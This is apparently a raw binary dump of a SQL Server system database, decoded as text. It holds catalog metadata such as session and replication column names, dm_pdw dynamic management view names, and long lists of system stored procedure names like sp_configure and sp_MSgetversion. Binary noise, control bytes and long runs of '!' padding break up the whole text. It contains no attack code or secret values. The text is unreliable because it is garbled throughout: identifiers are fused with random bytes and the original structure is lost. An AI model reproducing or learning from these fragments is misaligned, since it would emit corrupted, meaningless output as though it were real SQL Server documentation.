i@tombstone_subset_rowcountcmixed_extent_page_count0-op$$Egroup_id0-op4Sprimary_replica0-op88
econfigured_replica_count0-op88
Ylocal_replica_role0-O@TextPtrValue0-{88
=spid0-{44Kdatabase_id0-{88
Equeue_id0-{4Qprocedure_name0-{88
Iexecute_as0-$$Egroup_id0-H4HKlistener_id0-~4~Edns_name0-88
=port0-hhOis_conformant0-@4@}ip_configuration_string_from_cluster0-88
Kdatabase_id0-88
Equeue_id0-@4@?state0-==alast_empty_rowset_time0-==[last_activated_time0-88
Otasks_waiting0-Z688
Arun_id0-Z688
Kpdw_node_id0-Z6  Astatus0-Z6==Istart_time0-Z6==Eend_time0-Z688
Ytotal_EDV_|)8	S
j

		
~
+
y0"Vs2_`J]d:SA`-:b):,e
̚g0-"$$?ag_id0-"$$Oag_replica_id0-"4Sag_replica_name0-"4Mendpoint_url0-"00Wavailability_mode0-"00Ofailover_mode0-"00qprimary_role_allow_connections0-"x4x{primary_role_allow_connections_desc0-"	00usecondary_role_allow_connections0-"
x4xsecondary_role_allow_connections_desc0-"88
Ssession_timeout0-"88
Kapply_delay0-"
88
Sbackup_priority0-"4_read_only_routing_url0-TG@funcname0-V44=dbid0-V88
Eobjectid0-V44Anumber0-VhhGencrypted0-V4@=text0-V@C@handle0-Z88
Qtotal_sessions0-Z88
Oidle_sessions0-Z88
Sactive_requests0-Z88
Squeued_requests0-Z88
Mactive_loads0-Z88
Mqueued_loads0-Z88
Qactive_backups0-Z88
Sactive_restores0-ZCkeyword0-Z@@Mdisplay_term0-Z88
Gcolumn_id0-ZKdocument_id0-Z88
Kproperty_id0-Z88
?@dbid0-Z88
A@objid0-\3M@type_server0-\3O@type_catalog0-\3I@type_name0-\3M@type_schema0-\388
M@assembly_id0-lWM@publication0-lWI@publisher0-lWO@publisher_db0-iJ88
K@profile_id0-iJS@parameter_name0-JM@publication0-gHBM@publication0-gHB88
G@freqtype0-gHB88
O@freqinterval0-gHB88
M@freqsubtype0-gHB88
U@freqsubinterval0-gHB88
_@freqrelativeinterval0-gHB88
_@freqrecurrencefactor0-gHB88
U@activestartdate0-gHB	88
Q@activeenddate0-gHB
88
_@activestarttimeofday0-gHB88
[@activeendtimeofday0-gHB88
I@newtaskid0-gHB
Y@snapshot_job_name0-gHB88
e@publisher_security_mode0-gHBU@publisher_login0-gHB[@publisher_password0-gHBI@job_login0-gHBO@job_password0-c,O@functionname0-c,hhI@isdynamic0-c,hhS@uses_host_name0-c,hhW@uses_suser_sname0-T[M@publication0-T[I@publisher0-T[O@publisher_db0-_X88
E@maxrows0-_X88
I@tablenick0-_X$$E@rowguid0-_XU@tablenotbelongs0-_X88
G@bookmark0-_X88
c@specified_article_only0-_X88
M@compatlevel0-_X$$A@pubid0-_X	hha@enumentirerowmetadata0-[E@article0-[$$A@artid0-[$$A@pubid0-[88
G@nickname0-[88
U@column_tracking0-[88
C@status0-[88
_@pre_creation_command0-[S@resolver_clsid0-[	M@insert_proc0-[
M@update_proc0-[M@select_proc0-[[@destination_object0-[
88
Q@missing_count0-[O@missing_cols0-[W@article_resolver0-[
Q@resolver_info0-[Q@filter_clauseQ@missing_count`	it'u2Uv)e&

I
		f		{(5n-}6S
r
%
n-dU
O:=8z%BB6g 4A`-C)
-?;
=0-&?==Ilogin_time0-&?4Ghost_name0-&?4Mprogram_name0-&?88
Shost_process_id0-&?88
Qclient_version0-&?@4@_client_interface_name0-&?UUKsecurity_id0-&?	4Ilogin_name0-&?
4Gnt_domain0-&?4Mnt_user_name0-&?<4<Astatus0-&?
Mcontext_info0-&?88
Ecpu_time0-&?88
Mmemory_usage0-&?88
]total_scheduled_time0-&?88
Ytotal_elapsed_time0-&?88
Kendpoint_id0-&?==clast_request_start_time0-&?==_last_request_end_time0-&??reads0-&?Awrites0-&?Ological_reads0-&?hhSis_user_process0-&?88
Gtext_size0-&?4Elanguage0-&?4Kdate_format0-&?44Idate_first0-&?hhWquoted_identifier0-&?hhIarithabort0-&?hhWansi_null_dflt_on0-&? hhOansi_defaults0-&?!hhOansi_warnings0-&?"hhMansi_padding0-&?#hhIansi_nulls0-&?$hhcconcat_null_yields_null0-&?%44ktransaction_isolation_level0-&?&88
Mlock_timeout0-&?'88
Wdeadlock_priority0-&?(Grow_count0-&?)88
Iprev_error0-&?*UU]original_security_id0-&?+4[original_login_name0-&?,==_last_successful_logon0-&?-==clast_unsuccessful_logon0-&?.[unsuccessful_logons0-&?/88
Egroup_id0-&?044Kdatabase_id0-&?188
iauthenticating_database_id0-&?288
aopen_transaction_count0-&?388
Kpdw_node_id0-v@C@strCmd-&V==0-&V88
U@number_of_units0-&V00O@unit_of_time0-&V==K@start_date-9BNhh0-9BNE@db_name0-9BNhhA@hrepl0-8%@M@publication0-8%@E@article0-8%@G@property0-8%@A@value0-8%@hhi@force_invalidate_snapshot0-8%@hhi@force_reinit_subscription0-8%@I@publisher-wzrhh0-wzr$$A@subid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4Lw
:h'N4
r

q*
o
"
		-	DmK>;h@=`-M/)	.H)|0-E44Cnode_id0-E4Snode_state_desc0-E_memory_object_address0-E]memory_clerk_address0-Emio_completion_worker_address0-E44Qmemory_node_id0-EWcpu_affinity_mask0-E44aonline_scheduler_count0-E	44]idle_scheduler_count0-E
88
[active_worker_count0-E88
Uavg_load_balance0-Eetimer_task_affinity_mask0-E
mpermanent_task_affinity_mask0-Ehharesource_monitor_state0-E_online_scheduler_mask0-E44Sprocessor_group0-E88
Kpdw_node_id0-|xx?event0-|@@=data0-|88
Kpdw_node_id0-C@object0-hhM@grantpublic0-A@owner0-_event_session_address0-4Kaction_name0-$$[action_package_guid0-4Ievent_name0-$$Yevent_package_guid0-y988
Kdatabase_id0-D88
Gobject_id0-D44Uprocedure_number0-D=name0-D88
Mparameter_id0-D00Qsystem_type_id0-D88
Muser_type_id0-D00Gprecision0-D00?scale0-D	88
Imax_length0-D
hhGis_output0-DhhWhas_default_value0-DbbPPOdefault_value0-D
88
Wxml_collection_id0-,O@table_server0-,K@table_name0-,O@table_schema0-,Q@table_catalog0-,M@column_name0-,M@policy_name0-,K@event_data0-,K@history_id0-88
E@timeout0-@G@lockmode0-88
Q@lock_acquired0-}488
K@agent_type0-wI@publisher0-wO@publisher_db0-wK@subscriber0-w88
K@article_id0-wQ@subscriber_db0-w00C@status0-w[@subscription_seqno0-wM@publication0-w	E@article0-w
00Y@subscription_type0-w00I@sync_type0-whh]@snapshot_seqno_flag0-w
88
S@frequency_type0-w88
[@frequency_interval0-w88
m@frequency_relative_interval0-w88
m@frequency_recurrence_factor0-w88
W@frequency_subday0-w88
i@frequency_subday_interval0-w88
g@active_start_time_of_day0-w88
c@active_end_time_of_day0-w88
Y@active_start_date0-w88
U@active_end_date0-w@a@optional_command_line0-w00M@update_mode0-whh[@loopback_detection0-w[@distribution_jobid0-whhO@offloadagent0-wQ@offloadserver0-wW@dts_package_name0-w_@dts_package_password0-w88
_@dts_package_location0-w a@distribution_job_name0-w!G@internal0-w"88
g@publisher_engine_edition0-w#00M@nosync_type0-E+6I@publisher0-E+6O@publisher_db0-E+6M@publication0-E+688
I@tracer_id0-88
I@object_id0-W@capture_instanceET_SCHEMA_280-,	 ;
u0K		\o,eM`
@!y*t'qN!Y`u;Xio
 
9f

6
	h5(pU`1-q2)/GJ;L0-@	$$Oconnection_id0-@	
44[blocking_session_id0-@	x4xGwait_type0-@	88
Gwait_time0-@	x4xQlast_wait_type0-@	4Owait_resource0-@	88
aopen_transaction_count0-@	88
]open_resultset_count0-@	Qtransaction_id0-@	Mcontext_info0-@	;;Upercent_complete0-@	gestimated_completion_time0-@	88
Ecpu_time0-@	88
Ytotal_elapsed_time0-@	88
Mscheduler_id0-@	Mtask_address0-@	?reads0-@	Awrites0-@	Ological_reads0-@	88
Gtext_size0-@	 4Elanguage0-@	!4Kdate_format0-@	"44Idate_first0-@	#hhWquoted_identifier0-@	$hhIarithabort0-@	%hhWansi_null_dflt_on0-@	&hhOansi_defaults0-@	'hhOansi_warnings0-@	(hhMansi_padding0-@	)hhIansi_nulls0-@	*hhcconcat_null_yields_null0-@	+44ktransaction_isolation_level0-@	,88
Mlock_timeout0-@	-88
Wdeadlock_priority0-@	.Grow_count0-@	/88
Iprev_error0-@	088
Inest_level0-@	188
]granted_query_memory0-@	2hhaexecuting_managed_code0-@	388
Egroup_id0-@	4Iquery_hash0-@	5Squery_plan_hash0-44Kdatabase_id0-Growset_id0-88
waggregated_record_length_in_bytes0-88
Kpdw_node_id0-xcO@catalog_name0-xc88
A@dummy0-xcM@server_name0-xcO@catalog_name-]88
0-]88
?@mode0-]A@login0-]88
I@tranpubid0-sM@publication0-K@subscriber0-I@publisher0-hhA@found0-M@publication0-E@article0-88
A@objid0-6E@objname0-688
A@objid0-lI@publisher0-lO@publisher_db0-lS@publisher_type0-lO@remoteserver0-lM@distributor0-lI@distribdb0-jqM@publication0-jqK@subscriber0-jqS@destination_db0-jqI@publisher0-jqS@publisher_type0-i˼I@publisher0-i˼hhE@enabled0-i˼88
G@interval0-i˼88
I@threshold0-i˼88
K@LRinterval0-i˼88
M@LRthreshold0-7I@publisher0-7O@publisher_db0-7M@publication0-7K@subscriber0-7Q@subscriber_db0-5[@secondary_database0-5S@primary_server0-5W@primary_database0-588
Q@restore_delay0-5hhM@restore_all0-5hhO@restore_mode0-5hhW@disconnect_users0-588
K@block_size0-5	88
O@buffer_count0-5
88
Y@max_transfer_size0-588
Y@restore_threshold0-588
U@threshold_alert0-5
hhe@threshold_alert_enabled0-588
g@history_retention_period0-5hhI@overwrite!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^KXejl

<QAf!|=s&p/u(@S9
J[
p

	Y		nw.W;PG8Q
`b
gL"J	020?\
&V(dm_os_workers&59Jdm_pdw_component_health_status&.dm_pdw_dms_cores&|R2dm_pdw_dms_workers&}(dm_pdw_errors&@g6dm_pdw_exec_requests&G)6dm_pdw_exec_sessions&$2dm_pdw_node_status&D&dm_pdw_nodes&yNdm_pdw_nodes_db_file_space_usage&B
\Pdm_pdw_nodes_db_index_usage_stats&-+eLdm_pdw_nodes_db_partition_stats&Tdm_pdw_nodes_db_session_space_usage&RNdm_pdw_nodes_db_task_space_usage&ɫZdm_pdw_nodes_exec_background_job_queue&O؉fdm_pdw_nodes_exec_background_job_queue_stats&3Jdm_pdw_nodes_exec_cached_plans&b@Hdm_pdw_nodes_exec_connections&pCPdm_pdw_nodes_exec_procedure_stats&dXdm_pdw_nodes_exec_query_memory_grants&Zdm_pdw_nodes_exec_query_optimizer_info&Sddm_pdw_nodes_exec_query_resource_semaphores&OHdm_pdw_nodes_exec_query_stats&Bdm_pdw_nodes_exec_requests&&?Bdm_pdw_nodes_exec_sessions&aXdm_pdw_nodes_io_cluster_shared_drives&Tdm_pdw_nodes_io_pending_io_requests&SRdm_pdw_nodes_os_buffer_descriptors&|Ldm_pdw_nodes_os_child_instances&/Hdm_pdw_nodes_os_cluster_nodes&'Ndm_pdw_nodes_os_dispatcher_pools&ȚDdm_pdw_nodes_os_dispatchers&e8dm_pdw_nodes_os_hosts&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&ʷJdm_pdw_nodes_os_memory_brokers&_^dm_pdw_nodes_os_memory_cache_clock_hands&6Xdm_pdw_nodes_os_memory_cache_counters&quAVdm_pdw_nodes_os_memory_cache_entries&]
^dm_pdw_nodes_os_memory_cache_hash_tables&QHdm_pdw_nodes_os_memory_clerks&k^dm_pdw_nodes_os_memory_node_access_stats&Fdm_pdw_nodes_os_memory_nodes&YJdm_pdw_nodes_os_memory_objects&Fdm_pdw_nodes_os_memory_pools&E8dm_pdw_nodes_os_nodes&7Vdm_pdw_nodes_os_performance_counters&Jdm_pdw_nodes_os_process_memory&Bdm_pdw_nodes_os_schedulers&MHJdm_pdw_nodes_os_spinlock_stats&rH>dm_pdw_nodes_os_sys_info&Bdm_pdw_nodes_os_sys_memory&h@98dm_pdw_nodes_os_tasks&D<dm_pdw_nodes_os_threads&
Vdm_pdw_nodes_os_virtual_address_dump&7vBdm_pdw_nodes_os_wait_stats&[5aHdm_pdw_nodes_os_waiting_tasks&!3<dm_pdw_nodes_os_workers&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&8lXdm_pdw_nodes_tran_active_transactions&;Jdm_pdw_nodes_tran_commit_table&5oRdm_pdw_nodes_tran_current_snapshot&vXdm_pdw_nodes_tran_current_transaction&\dm_pdw_nodes_tran_database_transactions&<dm_pdw_nodes_tran_locks&(Zdm_pdw_nodes_tran_session_transactions&^dm_pdw_nodes_tran_top_version_generators&IJdm_pdw_os_performance_counters&0dm_pdw_os_threads&</8dm_pdw_query_stats_xe&|Bdm_pdw_query_stats_xe_file&JcYJdm_pdw_component_health_alerts&c6dm_pdw_os_event_logs&͘Fdm_pdw_diag_processing_stats&
Xdm_pdw_component_health_active_alerts&8dm_pdw_online_backups!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Nv,88d,b 

H

rn
b

		R		x,.bLj\lZ2H`!

B"1.7!&BJsp_commit_parallel_nested_tran&H&sp_configure&Lsp_control_dbmasterkey_password&a8sp_control_plan_guide&8H@sp_control_plan_guide_int&Cʫ6sp_create_plan_guide&Nsp_create_plan_guide_from_handle&9{p4sp_create_removable&,sp_createorphan&*sp_createstats&2[~ sp_cursor&|U*sp_cursor_list&ܺ*sp_cursorclose&.sp_cursorexecute&}*sp_cursorfetch&Kf(sp_cursoropen&,sp_cursoroption&-t.sp_cursorprepare&ԓk0sp_cursorprepexec&(2sp_cursorunprepare&@0sp_cycle_errorlog&]	&sp_databases&.sp_datatype_info&拿6sp_datatype_info_100&34sp_datatype_info_90&0sp_db_ebcdic277_2&-3Bsp_db_increased_partitions&p@sp_db_selective_xml_index&Lsp_db_vardecimal_storage_format&9b*sp_dbcmptlevel&t>sp_dbfixedrolepermission&Bsp_dbmmonitoraddmonitoring&?]>sp_dbmmonitorchangealert&`#Hsp_dbmmonitorchangemonitoring&ty:sp_dbmmonitordropalert&iDsp_dbmmonitordropmonitoring&r:sp_dbmmonitorhelpalert&7
Dsp_dbmmonitorhelpmonitoring&8!q6sp_dbmmonitorresults&3I4sp_dbmmonitorupdate&d$sp_dbremove&u.sp_dbscriptlevel&F4sp_ddl_comprelation& sp_ddopen&
Xsp_decimal_estimate_savings_for_table&u&sp_defaultdb&s2sp_defaultlanguage&܉qVsp_delete_http_namespace_reservation&(&sp_denylogin&pQ"sp_depends&M_2sp_describe_cursor&.$Bsp_describe_cursor_columns&L@sp_describe_cursor_tables&2Fsp_describe_first_result_set&]NPsp_describe_undeclared_parameters&p&sp_detach_db&iF*sp_dropapprole&%H(sp_dropdevice&4sp_dropextendedproc&`1<sp_dropextendedproperty&8sp_droplinkedsrvlogin&?&sp_droplogin&M*sp_dropmessage&*sp_droporphans&P52sp_dropremotelogin&6e$sp_droprole&0sp_droprolemember&T(sp_dropserver&96sp_dropsrvrolemember&XZ$sp_droptype&`$sp_dropuser&'4sp_enable_sql_debug&
Vsp_estimate_data_compression_savings&׵hsp_estimated_rowsize_reduction_for_vardecimal&G"sp_execute& ۛBsp_constr_col_usage_rowset&Dsp_constr_col_usage_rowset2&,0sp_execute_policy&E.sp_execresultset&,Fsp_execresultset_nvarcharmax&hNsp_execresultset_nvarcharmaxrows&g<sp_droppullsubscription&<Fsp_dropmergepullsubscription&Cq6sp_copymergesnapshot&,sp_copysnapshot&T8sp_enableagentoffload&!9:sp_disableagentoffload&c$4sp_copysubscription&ԭ.sp_createpalrole&!8sp_createmergepalrole&e6sp_createtranpalrole&<<sp_dropreplsymmetrickey&l"sp_enumdsn&lˣ<sp_enumoledbdatasources&'G,sp_distcounters&.sp_droppublisher&0sp_dropsubscriber&Tg"sp_dsninfo&I6sp_dropdistpublisher&'8sp_dropdistributiondb&4
2sp_dropdistributor&iJ<sp_drop_agent_parameter&w8sp_drop_agent_profile&K$I,sp_dropdatatype&ˢ:sp_dropdatatypemapping&<Dsp_createagentparameterlist&6<sp_createagentparameter&镧:sp_enumfullsubscribers&SVsp_enable_heterogeneous_subscription&*sp_droparticle&?2sp_droppublication&Ǒ4sp_dropsubscription&*,8sp_dropanonymousagent&'Dsp_deletetracertokenhistory&v|Dsp_deletepeerrequesthistory&y2sp_distagentstatus&?ZRsp_configure_peerconflictdetection&1Fsp_dropanonymoussubscription& #\sp_delete_log_shipping_primary_database&Jc9^sp_delete_log_shipping_primary_secondary&n?^sp_delete_log_shipping_secondary_primary&`sp_delete_log_shipping_secondary_database&a@5rsp_delete_log_shipping_secondary_database_internal&[B1Nsp_delete_log_shipping_alert_job&	;[`sp_delete_log_shipping_alert_job_internal&[a4sp_dropmergearticle&Ic<sp_dropmergepublication&_2<sp_dropmergelogsettings&İ>sp_dropmergesubscription& 6:sp_enumcustomresolvers&kР2sp_dropmergefilter&@sp_deletemergeconflictrow&>Jsp_dropmergealternatepublisher&ygBsp_dropdynamicsnapshot_job&R8sp_dropmergepartition&Nsp_enumeratependingschemachanges&N.sp_enumerrorlogs!!!!!!!!!!rbfH~Z2

dP
X
@.|02
>bZ8.p$|<



"fb.t^*
		z	Z	&	j&n&h>p@R nDTxLJT.`%

e">2D꓈&SNsp_rollback_parallel_nested_tran&2sp_schemata_rowset&tK8sp_sequence_get_range&|Jsp_sequence_get_range_internal&9U8sp_server_diagnostics&Q)*sp_server_info&t#c,sp_serveroption&-(sp_setapprole&Jsp_SetAutoSAPasswordAndDisable&;4sp_setbuildresource&J@sp_SetInternalTableAccess&O(sp_setnetname&VeD6sp_SetOBDCertificate&Fsp_SetPDWOnlyInterfaceObject&Dsp_SetPublicInterfaceObject&kXJsp_SetSDSPublicInterfaceObject&/8sp_SetServerCollation&=yx2sp_settriggerorder&1T0sp_setuserbylogin&>,sp_showmemo_xml&s&sp_spaceused&Fsp_sparse_columns_100_rowset&2sp_special_columns&GJ:sp_special_columns_100&P;8sp_special_columns_90&.sp_sproc_columns&*06sp_sproc_columns_100&/)O4sp_sproc_columns_90&Bg"sp_sqlexec&+6sp_srvrolepermission&:sp_start_user_instance&_(sp_statistics&Fh0sp_statistics_100&="6sp_statistics_rowset&B)8sp_statistics_rowset2&:6sp_stored_procedures&YNDsp_table_constraints_rowset&Fsp_table_constraints_rowset2&y4sp_table_privileges&<l:sp_table_privileges_ex&Bsp_table_privileges_rowset&үJsp_table_privileges_rowset_rmt&rODsp_table_privileges_rowset2&Bsp_table_statistics_rowset&M Dsp_table_statistics2_rowset&o @sp_table_type_columns_100&INsp_table_type_columns_100_rowset&!n4sp_table_type_pkeys&ͲPsp_table_type_primary_keys_rowset&a*sp_table_types&?8sp_table_types_rowset&2sp_tablecollations&f:sp_tablecollations_100&8sp_tablecollations_90&9w*sp_tableoption& sp_tables&PR&sp_tables_ex&>sp_tables_info_90_rowset&LDsp_tables_info_90_rowset_64&!@sp_tables_info_90_rowset2&4/Fsp_tables_info_90_rowset2_64&,M8sp_tables_info_rowset&>sp_tables_info_rowset_64&t:sp_tables_info_rowset2&LC@sp_tables_info_rowset2_64&	i.sp_tables_rowset&B6sp_tables_rowset_rmt&0sp_tables_rowset2&	6$sp_tableswc&V4sp_testlinkedserver&g,sp_trace_create&cDsp_syspolicy_execute_policy&R`sp_syspolicy_subscribe_to_policy_category&|hsp_syspolicy_unsubscribe_from_policy_category&v+Lsp_syspolicy_update_ddl_trigger&	s`Zsp_syspolicy_update_event_notification&`sp_scriptdropinsreconciliationproc_sqlclr&oob`sp_scriptdropdelreconciliationproc_sqlclr&}Q<sp_subscription_cleanup&4:sp_setreplfailovermode&{4sp_table_validation&^Jsp_startpullsubscription_agent&DzHsp_stoppullsubscription_agent&Tsp_startmergepullsubscription_agent&,WRsp_stopmergepullsubscription_agent&n:sp_subscriptionsummary&NFsp_setdefaultdatatypemapping&Fsp_startpublication_snapshot&?uDsp_stoppublication_snapshot&mZUJsp_startpushsubscription_agent&Hsp_stoppushsubscription_agent&Tsp_startmergepushsubscription_agent&.Rsp_stopmergepushsubscription_agent&*Lsp_scriptpublicationcustomprocs&ҩBsp_setOraclepackageversion&_/&sp_subscribe&2_Dsp_script_synctran_commands&SNsp_script_insertforcftresolution&JPsp_scriptpubwinsrefreshcursorvars&aL@sp_scriptsubconflicttable&NH
:sp_scriptpkwhereclause&8sp_scriptupdateparams&Z@sp_scriptreconwhereclause&	6sp_scriptinsproccore&5CNsp_script_reconciliation_insproc&sq5Psp_script_reconciliation_sinsproc&E.sp_scriptinsproc&,m0sp_scriptsinsproc&W6sp_scriptdelproccore&]rNsp_script_reconciliation_delproc&Psp_script_reconciliation_xdelproc&2Psp_script_reconciliation_vdelproc&@.sp_scriptdelproc&W80sp_scriptvdelproc&{0sp_scriptxdelproc&@޲6sp_scriptupdproccore&/.sp_scriptupdproc&뇝:sp_scriptmappedupdproc&t<sp_scriptdynamicupdproc&U{g0sp_scriptvupdproc&0sp_scriptsupdproc&0sp_scriptxupdproc&
r?,sp_schemafilter&Xy<sp_scriptupdmoderefresh&yDsp_setsubscriptionxactseqno&"*sp_showlineage&
$sp_showcolv&I=8sp_showrowreplicainfo&?`8sp_showpendingchanges!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!f6X

\

j2d

R

		>	HB.>\P.`0HvBl:P,r@z4xbb&"
VP:^4>pxV`'

L"32:$&]T+>sp_MSGetCurrentPrincipal&\uDsp_MSgettranlastupdatedtime&=	Fsp_MSgetmergelastupdatedtime&g<sp_MSgetlastupdatedtime&R.sp_MSgetreplnick&$G2sp_MSgettools_path&	Dsp_MShelp_identity_property&Xsp_MSgetMergeUpgradeSubscriberAppLock&@sp_MSgetFixPALRoleAppLock&GyFsp_MSgrantconnectreplication&bsp_MSgetisvalidwindowsloginfromdistributor&Y:sp_MShelp_profilecache&nh.sp_MShelp_distdb&kFsp_MShelp_replication_status&ЅDsp_MShelp_replication_table&`,sp_MSgetversion&t%>sp_MSgettranconflictname&_Jsp_MSgettransarticlecolumnlist&V<sp_MSgettranconflictrow&Y<sp_MSgetpeerconflictrow&h[G8sp_MSgettrancftsrcrow&R8sp_MSgetpeerwinnerrow&8sp_MShelp_publication&C0sp_MShelp_profile&\“0sp_MSgetdbversion&v.sp_MSgetpeerlsns&mBsp_MSgetpeertopeercommands&&r>sp_MSgetpeerconflictname&o@sp_MShelp_subscriber_info&Nsp_MShelp_subscriberside_history&L0sp_MShelp_article&:sp_MShelp_subscription&TBsp_MShelp_snapshot_agentid&nSDsp_MShelp_logreader_agentid&^<sp_MShelp_merge_agentid&σJsp_MShelp_distribution_agentid&Fsp_MSgetmaxsnapshottimestamp&LC>sp_MShelp_snapshot_agent&/6sp_MShelp_repl_agent&jv>sp_MSgetlogshipagentpath&,G*sp_MSguidtostr&'Nsp_MSgetmakegenerationapplock_90&Hsp_MSgetmakegenerationapplock&Ũ>sp_MSgetfiltercolumnlist& ),sp_MSgetpubinfo&pɣLsp_MSgetpartitionsnapshotfolder&'Jsp_MSgetdynamicsnapshotapplock&^@sp_MSgetmergeadminapplock&ϲ>sp_MSgetfilteringcolumns&*sp_MSgetonerow& z|2sp_MSgetlastrecgen&m4sp_MSgetlastsentgen&7c<sp_MSgetlastsentrecgens&z:sp_MSgetgenstatus4rows&-6sp_MSgetreplicastate&4sp_MSgetrowmetadata&M8sp_MSgetmetadatabatch&܈<sp_MSgetmetadatabatch90&4Bsp_MSgetmetadatabatch90new&x4sp_MSgetreplicainfo&*Jsp_MSgetsupportabilitysettings&ҜB>sp_MSgetsetupbelong_cost&l?:sp_MSgetviewcolumnlist&p:sp_MSgetsubscriberinfo&L5(0sp_MSgetmaxbcpgen&)8sp_MSgettablecontents&GuJsp_MSgetdynsnapvalidationtoken&fsp_MSgetmetadata_changedlogicalrecordmembers&@sp_MSgetdatametadatabatch&BLBsp_MShaschangeslightweight&QNsp_MSgetlightweightmetadatabatch&>'`@sp_MSgetonerowlightweight&Jsp_MSgetrowmetadatalightweight&0sp_MSgetmissingbm&.sp_MShasdbaccess&>sp_MSGetServerPropertiesgetmaxsnapshottimestamp&LC>sp_MShelp_snapshot_agent&/6sp_MShelp_repl_agent&.O>sp_MShelplogreader_agent&(n<sp_MShelpsnapshot_agent&jv>sp_MSgetlogshipagentpath&,G*sp_MSguidtostr&'Nsp_MSgetmakegenerationapplock_90&Hsp_MSgetmakegenerationapplock&2sp_MShelpdestowner&Ũ>sp_MSgetfiltercolumnlist&c,:sp_MSisdynamicfunction&BNsp_MShelpmergepub_withrownumbers&T[Tsp_MShelpmergepub_withoutrownumbers&eȲ<sp_MShelpvalidationdate&D6sp_MSindexcolfrombin&Fsp_MShelpmergeconflictcounts&?/Rsp_MShelpmergeconflictpublications& ),sp_MSgetpubinfo&pɣLsp_MSgetpartitionsnapshotfolder&Nsp_MShelpmergedynamicsnapshotjob&'Jsp_MSgetdynamicsnapshotapplock&^@sp_MSgetmergeadminapplock&ϲ>sp_MSgetfilteringcolumns&hsp_MSis_joinfilter_based_on_PK_UQ_constraints&g:sp_MShelpmergeidentity&@HFsp_MShelpmergeselectarticles&:sp_MShelpmergearticles&n
